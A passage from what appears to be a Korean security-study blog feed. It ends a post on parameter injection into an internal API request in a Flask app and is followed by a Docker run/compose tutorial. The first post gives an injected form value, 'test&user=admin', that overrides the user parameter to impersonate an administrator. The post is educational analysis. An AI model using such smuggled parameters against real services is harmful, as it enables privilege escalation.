&lt;p data-ke-size=&quot;size16&quot;&gt;title, body 제출 폼을 작성하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/v1/api/board/write 로 보내고&lt;br /&gt;그러면, /v1/api/board/write 여기서&lt;/p&gt;
&lt;pre id=&quot;code_1782650742548&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/v1/api/board/write&quot;, methods=[&quot;POST&quot;])
def board_write():
    session[&quot;idx&quot;] = &quot;guest&quot; .
    title = request.form.get(&quot;title&quot;, &quot;&quot;) 
    body = request.form.get(&quot;body&quot;, &quot;&quot;)
    data = f&quot;title={title}&amp;amp;body={body}&amp;amp;user={session['idx']}&quot;
    response = requests.post(f&quot;{INTERNAL_API}/board/write&quot;, headers=header, data=data) # INTERNAL API 에 이용자가 입력한 값을 HTTP BODY 데이터로 사용해서 요청합니다.
    return response.content&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보면 form에서 입력값을 get해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;data = f&quot;title={title}&amp;amp;body={body}&amp;amp;user={session['idx']}&quot; 이렇게 문자열로 만들어 /boar/write로 다시 post 요청을 보내고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 /board/write 에서&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1782650864058&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/board/write&quot;, methods=[&quot;POST&quot;])
def internal_board_write():
    
    title = request.form.get(&quot;title&quot;, &quot;&quot;)
    body = request.form.get(&quot;body&quot;, &quot;&quot;)
    user = request.form.get(&quot;user&quot;, &quot;&quot;)
    info = {
        &quot;title&quot;: title,
        &quot;body&quot;: body,
        &quot;user&quot;: user,
    }
    return info&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이걸 json 형식으로 반환해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이값이 위 /v1/api/board/write 여기의 response 부분에 응답값으로 가고, 이값을&lt;br /&gt;response.content로 사용자한테 브라우저에 반환해주는 흐름이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 흐름에서 ssrf취약점은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;data = f&quot;title={title}&amp;amp;body={body}&amp;amp;user={session['idx']}&quot;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이부분이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;내부 API로 보낼 Body 데이터를 문자열로 만들어버리는 부분이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;문자열로 만들어서 보내기 때문에&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;title값에 &lt;span style=&quot;color: #ee2323;&quot;&gt;test&amp;amp;user=admin&lt;/span&gt; 이런식으로 작성해서 폼을 제출해버리면,&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;title=test&amp;amp;user=admin&amp;amp;body=test&amp;amp;user=guest&lt;/span&gt; 이렇게 만들어지고,&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&amp;amp;&lt;/b&gt; 문자가 파라미터 구분자로 해석돼서&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;결국&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;title = test&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;body=test&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;user=admin (보통 첫번째 값을 가져오기 때문,,)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;요렇게 변조할 수 있음&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;실제로 해보면&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;정상적으로 입력하면&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;395&quot; data-origin-height=&quot;156&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPUbQ2/dJMcaccyAzp/scnG6GWuFvBUql4JGcbZD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPUbQ2/dJMcaccyAzp/scnG6GWuFvBUql4JGcbZD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPUbQ2/dJMcaccyAzp/scnG6GWuFvBUql4JGcbZD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPUbQ2%2FdJMcaccyAzp%2FscnG6GWuFvBUql4JGcbZD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;395&quot; height=&quot;156&quot; data-origin-width=&quot;395&quot; data-origin-height=&quot;156&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;387&quot; data-origin-height=&quot;83&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvLDCq/dJMcadJdFcm/GuS9AnAXUAXKJblrKKke3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvLDCq/dJMcadJdFcm/GuS9AnAXUAXKJblrKKke3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvLDCq/dJMcadJdFcm/GuS9AnAXUAXKJblrKKke3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvLDCq%2FdJMcadJdFcm%2FGuS9AnAXUAXKJblrKKke3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;387&quot; height=&quot;83&quot; data-origin-width=&quot;387&quot; data-origin-height=&quot;83&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;괜찮은데 만약에&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 의도적으로 값을 넣어버리면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;267&quot; data-origin-height=&quot;119&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZ5KOa/dJMcaff6mR4/IrtZSUIViVfJ04Cd9yZKE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZ5KOa/dJMcaff6mR4/IrtZSUIViVfJ04Cd9yZKE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZ5KOa/dJMcaff6mR4/IrtZSUIViVfJ04Cd9yZKE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZ5KOa%2FdJMcaff6mR4%2FIrtZSUIViVfJ04Cd9yZKE0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;267&quot; height=&quot;119&quot; data-origin-width=&quot;267&quot; data-origin-height=&quot;119&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;385&quot; data-origin-height=&quot;79&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uj745/dJMcaiDRoix/g5MvQ856k2okXYViy9nqOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uj745/dJMcaiDRoix/g5MvQ856k2okXYViy9nqOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uj745/dJMcaiDRoix/g5MvQ856k2okXYViy9nqOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fuj745%2FdJMcaiDRoix%2Fg5MvQ856k2okXYViy9nqOK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;385&quot; height=&quot;79&quot; data-origin-width=&quot;385&quot; data-origin-height=&quot;79&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;값이 변조되는 걸 확인 할 수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론적으로, 위 취약점은 URL조작이 아니라,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;내부 API로 전달되는 Body 파라미터 구조를 조작&lt;/span&gt;하는 케이스이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리를 해보면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSRF를 분석할 때, 결국 &lt;b&gt;사용자의 입력이 서버의 요청 구조 어디에 들어가는지?&lt;/b&gt;를 보는 것이 핵심인 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL, path, query, body 어디든 검증 없이 들어간다면 서버가 의도하지 않은 요청을 보내 위협이 발생할 수 있다.&lt;/p&gt;</description>
      <category>web2</category>
      <author>maru_</author>
      <guid isPermaLink="true">https://m4ruru.tistory.com/30</guid>
      <comments>https://m4ruru.tistory.com/30#entry30comment</comments>
      <pubDate>Sun, 28 Jun 2026 22:12:43 +0900</pubDate>
    </item>
    <item>
      <title>docker 사용하기 (run, compose)</title>
      <link>https://m4ruru.tistory.com/29</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;맥북으로는 gui리눅스를 쓰기가 굉장히 불편하다,, 속도가 너무 느려서 안쓰는게.,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 또 보안 실무에서는 리눅스를 CLI로 많이 쓴다고 해서,, CLI에 익숙해질 겸, 도커에도 익숙해질 겸&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커에서 리눅스를 사용해야겠다ㅏㅏ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Docker&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 컨테이너 기반 가상화 플랫폼으로, 응용 프로그램과 그 종속성을 격리된 환경인 컨테이너로 패키징하여 실행하는 기술&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컨테이너?&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;- 가상화 기술을 이용하여 애플리케이션과 개발 환경을 격리된 공간에서 실행하는 단위&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 내 로컬pc안에 격리된 리눅스 실행 공간을 만드는 도구&lt;/p&gt;
&lt;pre id=&quot;code_1781591886037&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;맥북 macOS
 └─ Docker
     └─ Ubuntu 컨테이너
         └─ Flask / Python / Vim / 웹서버 실행&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요런식으로 사용되는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 이미지 : 컨테이너를 만들기 위한 설계도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 컨테이너 : 실제 실행되는 리눅스 공간&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- Docker run&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- Docker compose&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Docker run&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1781592133560&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker run -it --name web_1 -p 31337:31337 ubuntu22.04 bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 새 컨테이너 만들고 실행하는데 터미널로 직접 조작 가능하게 실행하고 컨터이너 이름은 web_1로 하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;맥북 31337 포트, 컨테이너 31337포트 연결ㄱㄱ 하고 ubuntu22.04 이미지 사용하고, 컨테이너 안에서 bash로 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Docker compose&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞에서 본 &lt;b&gt;docker run&lt;/b&gt; 같은 경우에는 실행할 때 옵션을 길게 직접 작성해야하는 방식으로,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들면&lt;/p&gt;
&lt;pre id=&quot;code_1781610661204&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker run -it --name web_1 \
  -p 31337:31337 \
  -p 31338:31338 \
  -v /Users/w00n1/web_1/flask-app:/home/flask-app \
  ubuntu: 22.04 bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 매번 쳐야하는데,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 실행 설정들을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;compose.yaml&lt;/b&gt; 파일에 저장해두는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리해보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;docker run -&amp;gt; 명령어로 직접 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;docker compose -&amp;gt; compose.yaml 설정 파일 보고 실행 (약간 저장용 도면 느낌 ㅋ)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그럼, &lt;b&gt;docker compose&lt;/b&gt;를 하려면 어떤 파일들이 필요하고, 어떻게 사용해야 할까,,?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저, 내 로컬 폴더 경로가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/Users/w00n1/web_docker/flask-app&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면, &lt;b&gt;Docker compose 구조&lt;/b&gt;는&lt;/p&gt;
&lt;pre id=&quot;code_1781613334310&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/Users/w00n1/web_docker/flask-app
|- compose.yaml
|- Dockerfile
|- requirements.txt
|- app.py
|- login.py
|_ templates
	|- form_login.html
        |- form_text.html
    ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 가져가면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;compose.yaml&lt;/b&gt; -&amp;gt; 컨테이너 실행 설정&lt;/p&gt;
&lt;pre id=&quot;code_1781613622392&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;service:
  flask-study:
    build: .
    container_name: web_study
    ports:
      - &quot;31337:31337&quot;
      - &quot;31338:31338&quot;
      - &quot;31339:31339&quot;
      - &quot;8000:8000&quot;
    volumes:
      - .:/home/flask-app
    working_dir: /home/flask-app
    stdin_open:true
    tty: true
    command: bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 작성&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Dockerfile&lt;/b&gt; -&amp;gt; 이미지를 어떻게 만들지 적는 파일&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-&amp;gt; 컨테이너 안에 기본으로 설치할 것들을 적어둠&lt;/p&gt;
&lt;pre id=&quot;code_1781614370661&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;FROM ubuntu:22.04

RUN apt update &amp;amp;&amp;amp; apt install -y \
    python3 \
    python3-pip \
    vim \
    curl \
    wget \
    git \
    net-tools \
    iputils-ping

COPY requirements.txt /tmp/requirements.txt
RUN python3 -m pip install -r /tmp/requirements.txt

WORKDIR /home/flask-app

CMD [&quot;bash&quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- ubuntu 22.04를 기반으로 하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- python3, pip, vim, curl, git 등을 설치하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- requirements.txt에 적힌 파이썬 라이브러리를 설치하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 기본 작업 폴더는 /home/falsk-app으로 하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- bash를 실행해라&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;requirements.txt&lt;/b&gt; -&amp;gt; 파이썬 pip 패키지 목록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들면&lt;/p&gt;
&lt;pre id=&quot;code_1781614519236&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Flask
requests&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 작성해두면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 Dockerfile의 RUN python3 -m pip install -r /tmp/requirements.txt&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 명령으로 Flask, requests를 자동 설치함&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;작성한 파일들은 어떻게,,?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 컨테이너 안에만 파일을 만들어서 작업하면, 컨테이너를 삭제할 때 파일도 같이 사라질 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;--&amp;gt; 그래서 나온 개념이 volume, 폴더연결!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어서&lt;/p&gt;
&lt;pre id=&quot;code_1781599543807&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-v /Users/w00n1/web_docker/flask-app:/home/flask-app&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;맥북의 /Users/w00n1/web_docker/flask-app 과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컨테이너의 /home/flask-app&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;을 연결한다는 뜻&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후에 docker compose를 이용해서 컨테이너를 생성할 수 있는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;one-off container(일회성 컨테이너)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;service container&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요런느낌 2가지로 사용할 수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저, &lt;b&gt;one-off container &lt;/b&gt;를&amp;nbsp;보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 compose에 필요한 파일들을 다 작성한 후&lt;/p&gt;
&lt;pre id=&quot;code_1781619228487&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker compose run --build --service-ports web_study&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; web_study 설정을 참고해서 일회성 컨테이너를 하나 만들어서 bash로 들어간다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일회성 컨테이너 같은 경우에는 컨테이너 이름도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;flask-app-web_study-run-f59a18de78c5&amp;nbsp;&lt;span style=&quot;color: #000000;&quot;&gt;이런식으로 생김&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;특징&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 코드 파일 수정 -&amp;gt; 로컬 폴더에 저장됨 &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 컨테이너 안에서 직접 설치한 패키지 -&amp;gt; 유지 X&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 컨테이너가 계속 쌓일 수 있음&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;docker compose run 을 할때마다 새 일회성 컨테이너가 만들어진다고 보면 됨&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그래서 보통&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 잠깐 명령어 실행&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 짧은 테스트&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 일회성 작업&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-컨테이너 상태가 중요하지 않을 때&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;사용함&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용한 컨테이너를 삭제하고 싶을 땐,,&lt;/p&gt;
&lt;pre id=&quot;code_1781672269232&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker rm flask-app-web_study-run-f59a18de78c5
또는
docker rm ad552b4db0d6    -&amp;gt; 컨테이너 id로

만약에, 중지된 임시 컨테이너 싹 정리하고싶으면
docker container prune&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;반대로, &lt;b&gt;service container&lt;/b&gt;를 보면&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1781666055582&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker compose up -d --build&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;compose.yaml에 적힌 web_study 서비스를 고정 컨테이너로 만들어서 백그라운드에 계속 켜둔다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 명령어로 실행을 한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 service container를 사용할 때 yaml은&lt;/p&gt;
